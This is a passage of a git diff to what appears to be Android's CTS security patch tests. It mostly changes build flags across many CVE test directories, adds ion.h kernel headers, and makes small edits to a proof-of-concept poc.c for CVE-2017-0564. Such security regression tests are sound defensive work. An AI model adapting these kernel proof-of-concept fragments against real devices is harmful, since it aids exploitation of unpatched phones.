 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
index b9c51d1..98c153c 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8460/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS := -Wall -W -g -O2 -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers -Wno-pointer-arith -Wno-pointer-sign -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
index b41fb16..4d3d5f8 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-8482/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-missing-field-initializers -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
index 95ddb3d..af58e6a 100644
--- a/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2016-9120/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
index cb31e4d..aac370a 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0403/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-format -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
index 9e30d30..53257d4 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0404/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-constant-conversion
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
index afb77b4..4a6811f 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0429/Android.mk
@@ -22,14 +22,11 @@
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS := -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-variable
 LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
index 6e52fa7..11f9388 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
@@ -27,10 +27,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types-discards-qualifiers
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
index 46c773d..2d10678 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0462/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Wno-packed -Wno-unused-parameter -Wno-unused-variable
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
index 91d154c..e5a03f7 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -27,10 +27,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wno-shadow
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/kernel-headers/linux/ion.h b/hostsidetests/security/securityPatch/CVE-2017-0564/kernel-headers/linux/ion.h
new file mode 100644
index 0000000..7b5b031
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/kernel-headers/linux/ion.h
@@ -0,0 +1,78 @@
+/****************************************************************************
+ ****************************************************************************
+ ***
+ ***   This header was automatically generated from a Linux kernel header
+ ***   of the same name, to make information necessary for userspace to
+ ***   call into the kernel available to libc.  It contains only constants,
+ ***   structures, and macros generated from the original header, and thus,
+ ***   contains no copyrightable information.
+ ***
+ ***   To edit the content of this header, modify the corresponding
+ ***   source file (e.g. under external/kernel-headers/original/) then
+ ***   run bionic/libc/kernel/tools/update_all.py
+ ***
+ ***   Any manual change here will be lost the next time this script will
+ ***   be run. You've been warned!
+ ***
+ ****************************************************************************
+ ****************************************************************************/
+#ifndef _UAPI_LINUX_ION_H
+#define _UAPI_LINUX_ION_H
+#include <linux/ioctl.h>
+#include <linux/types.h>
+typedef int ion_user_handle_t;
+enum ion_heap_type {
+  ION_HEAP_TYPE_SYSTEM,
+  ION_HEAP_TYPE_SYSTEM_CONTIG,
+  ION_HEAP_TYPE_CARVEOUT,
+  ION_HEAP_TYPE_CHUNK,
+  ION_HEAP_TYPE_DMA,
+  ION_HEAP_TYPE_CUSTOM,
+};
+#define ION_NUM_HEAP_IDS (sizeof(unsigned int) * 8)
+#define ION_FLAG_CACHED 1
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+struct ion_allocation_data {
+  size_t len;
+  size_t align;
+  unsigned int heap_id_mask;
+  unsigned int flags;
+  ion_user_handle_t handle;
+};
+struct ion_fd_data {
+  ion_user_handle_t handle;
+  int fd;
+};
+struct ion_handle_data {
+  ion_user_handle_t handle;
+};
+struct ion_custom_data {
+  unsigned int cmd;
+  unsigned long arg;
+};
+#define MAX_HEAP_NAME 32
+struct ion_heap_data {
+  char name[MAX_HEAP_NAME];
+  __u32 type;
+  __u32 heap_id;
+  __u32 reserved0;
+  __u32 reserved1;
+  __u32 reserved2;
+};
+struct ion_heap_query {
+  __u32 cnt;
+  __u32 reserved0;
+  __u64 heaps;
+  __u32 reserved1;
+  __u32 reserved2;
+};
+#define ION_IOC_MAGIC 'I'
+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, struct ion_allocation_data)
+#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+#define ION_IOC_HEAP_QUERY _IOWR(ION_IOC_MAGIC, 8, struct ion_heap_query)
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/original-kernel-headers/linux/ion.h b/hostsidetests/security/securityPatch/CVE-2017-0564/original-kernel-headers/linux/ion.h
new file mode 100644
index 0000000..14cd873
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/original-kernel-headers/linux/ion.h
@@ -0,0 +1,236 @@
+/*
+ * drivers/staging/android/uapi/ion.h
+ *
+ * Copyright (C) 2011 Google, Inc.
+ *
+ * This software is licensed under the terms of the GNU General Public
+ * License version 2, as published by the Free Software Foundation, and
+ * may be copied, distributed, and modified under those terms.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+#ifndef _UAPI_LINUX_ION_H
+#define _UAPI_LINUX_ION_H
+
+#include <linux/ioctl.h>
+#include <linux/types.h>
+
+typedef int ion_user_handle_t;
+
+/**
+ * enum ion_heap_types - list of all possible types of heaps
+ * @ION_HEAP_TYPE_SYSTEM:	 memory allocated via vmalloc
+ * @ION_HEAP_TYPE_SYSTEM_CONTIG: memory allocated via kmalloc
+ * @ION_HEAP_TYPE_CARVEOUT:	 memory allocated from a prereserved
+ *				 carveout heap, allocations are physically
+ *				 contiguous
+ * @ION_HEAP_TYPE_DMA:		 memory allocated via DMA API
+ * @ION_NUM_HEAPS:		 helper for iterating over heaps, a bit mask
+ *				 is used to identify the heaps, so only 32
+ *				 total heap types are supported
+ */
+enum ion_heap_type {
+	ION_HEAP_TYPE_SYSTEM,
+	ION_HEAP_TYPE_SYSTEM_CONTIG,
+	ION_HEAP_TYPE_CARVEOUT,
+	ION_HEAP_TYPE_CHUNK,
+	ION_HEAP_TYPE_DMA,
+	ION_HEAP_TYPE_CUSTOM, /*
+			       * must be last so device specific heaps always
+			       * are at the end of this enum
+			       */
+};
+
+#define ION_NUM_HEAP_IDS		(sizeof(unsigned int) * 8)
+
+/**
+ * allocation flags - the lower 16 bits are used by core ion, the upper 16
+ * bits are reserved for use by the heaps themselves.
+ */
+
+/*
+ * mappings of this buffer should be cached, ion will do cache maintenance
+ * when the buffer is mapped for dma
+ */
+#define ION_FLAG_CACHED 1
+
+/*
+ * mappings of this buffer will created at mmap time, if this is set
+ * caches must be managed manually
+ */
+#define ION_FLAG_CACHED_NEEDS_SYNC 2
+
+/**
+ * DOC: Ion Userspace API
+ *
+ * create a client by opening /dev/ion
+ * most operations handled via following ioctls
+ *
+ */
+
+/**
+ * struct ion_allocation_data - metadata passed from userspace for allocations
+ * @len:		size of the allocation
+ * @align:		required alignment of the allocation
+ * @heap_id_mask:	mask of heap ids to allocate from
+ * @flags:		flags passed to heap
+ * @handle:		pointer that will be populated with a cookie to use to
+ *			refer to this allocation
+ *
+ * Provided by userspace as an argument to the ioctl
+ */
+struct ion_allocation_data {
+	size_t len;
+	size_t align;
+	unsigned int heap_id_mask;
+	unsigned int flags;
+	ion_user_handle_t handle;
+};
+
+/**
+ * struct ion_fd_data - metadata passed to/from userspace for a handle/fd pair
+ * @handle:	a handle
+ * @fd:		a file descriptor representing that handle
+ *
+ * For ION_IOC_SHARE or ION_IOC_MAP userspace populates the handle field with
+ * the handle returned from ion alloc, and the kernel returns the file
+ * descriptor to share or map in the fd field.  For ION_IOC_IMPORT, userspace
+ * provides the file descriptor and the kernel returns the handle.
+ */
+struct ion_fd_data {
+	ion_user_handle_t handle;
+	int fd;
+};
+
+/**
+ * struct ion_handle_data - a handle passed to/from the kernel
+ * @handle:	a handle
+ */
+struct ion_handle_data {
+	ion_user_handle_t handle;
+};
+
+/**
+ * struct ion_custom_data - metadata passed to/from userspace for a custom ioctl
+ * @cmd:	the custom ioctl function to call
+ * @arg:	additional data to pass to the custom ioctl, typically a user
+ *		pointer to a predefined structure
+ *
+ * This works just like the regular cmd and arg fields of an ioctl.
+ */
+struct ion_custom_data {
+	unsigned int cmd;
+	unsigned long arg;
+};
+
+#define MAX_HEAP_NAME			32
+
+/**
+ * struct ion_heap_data - data about a heap
+ * @name - first 32 characters of the heap name
+ * @type - heap type
+ * @heap_id - heap id for the heap
+ */
+struct ion_heap_data {
+	char name[MAX_HEAP_NAME];
+	__u32 type;
+	__u32 heap_id;
+	__u32 reserved0;
+	__u32 reserved1;
+	__u32 reserved2;
+};
+
+/**
+ * struct ion_heap_query - collection of data about all heaps
+ * @cnt - total number of heaps to be copied
+ * @heaps - buffer to copy heap data
+ */
+struct ion_heap_query {
+	__u32 cnt; /* Total number of heaps to be copied */
+	__u32 reserved0; /* align to 64bits */
+	__u64 heaps; /* buffer to be populated */
+	__u32 reserved1;
+	__u32 reserved2;
+};
+
+#define ION_IOC_MAGIC		'I'
+
+/**
+ * DOC: ION_IOC_ALLOC - allocate memory
+ *
+ * Takes an ion_allocation_data struct and returns it with the handle field
+ * populated with the opaque handle for the allocation.
+ */
+#define ION_IOC_ALLOC		_IOWR(ION_IOC_MAGIC, 0, \
+				      struct ion_allocation_data)
+
+/**
+ * DOC: ION_IOC_FREE - free memory
+ *
+ * Takes an ion_handle_data struct and frees the handle.
+ */
+#define ION_IOC_FREE		_IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data)
+
+/**
+ * DOC: ION_IOC_MAP - get a file descriptor to mmap
+ *
+ * Takes an ion_fd_data struct with the handle field populated with a valid
+ * opaque handle.  Returns the struct with the fd field set to a file
+ * descriptor open in the current address space.  This file descriptor
+ * can then be used as an argument to mmap.
+ */
+#define ION_IOC_MAP		_IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data)
+
+/**
+ * DOC: ION_IOC_SHARE - creates a file descriptor to use to share an allocation
+ *
+ * Takes an ion_fd_data struct with the handle field populated with a valid
+ * opaque handle.  Returns the struct with the fd field set to a file
+ * descriptor open in the current address space.  This file descriptor
+ * can then be passed to another process.  The corresponding opaque handle can
+ * be retrieved via ION_IOC_IMPORT.
+ */
+#define ION_IOC_SHARE		_IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data)
+
+/**
+ * DOC: ION_IOC_IMPORT - imports a shared file descriptor
+ *
+ * Takes an ion_fd_data struct with the fd field populated with a valid file
+ * descriptor obtained from ION_IOC_SHARE and returns the struct with the handle
+ * filed set to the corresponding opaque handle.
+ */
+#define ION_IOC_IMPORT		_IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data)
+
+/**
+ * DOC: ION_IOC_SYNC - syncs a shared file descriptors to memory
+ *
+ * Deprecated in favor of using the dma_buf api's correctly (syncing
+ * will happen automatically when the buffer is mapped to a device).
+ * If necessary should be used after touching a cached buffer from the cpu,
+ * this will make the buffer in memory coherent.
+ */
+#define ION_IOC_SYNC		_IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data)
+
+/**
+ * DOC: ION_IOC_CUSTOM - call architecture specific ion ioctl
+ *
+ * Takes the argument of the architecture specific ioctl to call and
+ * passes appropriate userdata for that ioctl
+ */
+#define ION_IOC_CUSTOM		_IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data)
+
+/**
+ * DOC: ION_IOC_HEAP_QUERY - information about available heaps
+ *
+ * Takes an ion_heap_query structure and populates information about
+ * available Ion heaps.
+ */
+#define ION_IOC_HEAP_QUERY     _IOWR(ION_IOC_MAGIC, 8, \
+					struct ion_heap_query)
+
+#endif /* _UAPI_LINUX_ION_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
index 7734d4c..ae5ad40 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/poc.c
@@ -29,7 +29,11 @@
 #include <string.h>
 #include <fcntl.h>
 #include <errno.h>
-#include <linux/ion.h>
+
+// Include a fixed version of the ion.h file because it changes per kernel.
+// This test is going to be extremely brittle due to it's dependency on
+// a structure that is going to change with different kernels.
+#include "kernel-headers/linux/ion.h"
 
 #define ION_HEAP(bit) (1 << (bit))
 
@@ -73,7 +77,7 @@
 #ifdef NEW_ION
         .heap_id_mask = ion_type,
         //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
-        .flags = (1 << 0),
+        //.flags = (1 << 0),
         .flags = 0x0,
 #else
         .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
@@ -165,7 +169,7 @@
 
 int main()
 {
-    int ret, i, count;
+    int ret, count;
     pthread_t tid_free[2];
 
     count = 0;
@@ -178,6 +182,7 @@
 	return -1;
     }
 
+    size_t i;
     for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
         ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
         if (ret == 0) {
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
index c62755c..3e538bb 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
@@ -26,10 +26,10 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
index 0ef89c5..ab5bd87 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types-discards-qualifiers
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
index 6350b07..5aba588 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types-discards-qualifiers
+LOCAL_CFLAGS += -Iinclude -fPIE
 LOCAL_LDFLAGS += -fPIE -pie
 LDFLAGS += -rdynamic
 include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
index 393bf6c..eec3209 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
@@ -26,10 +26,11 @@
 LOCAL_CTS_TEST_PACKAGE := android.security.cts
 
 LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
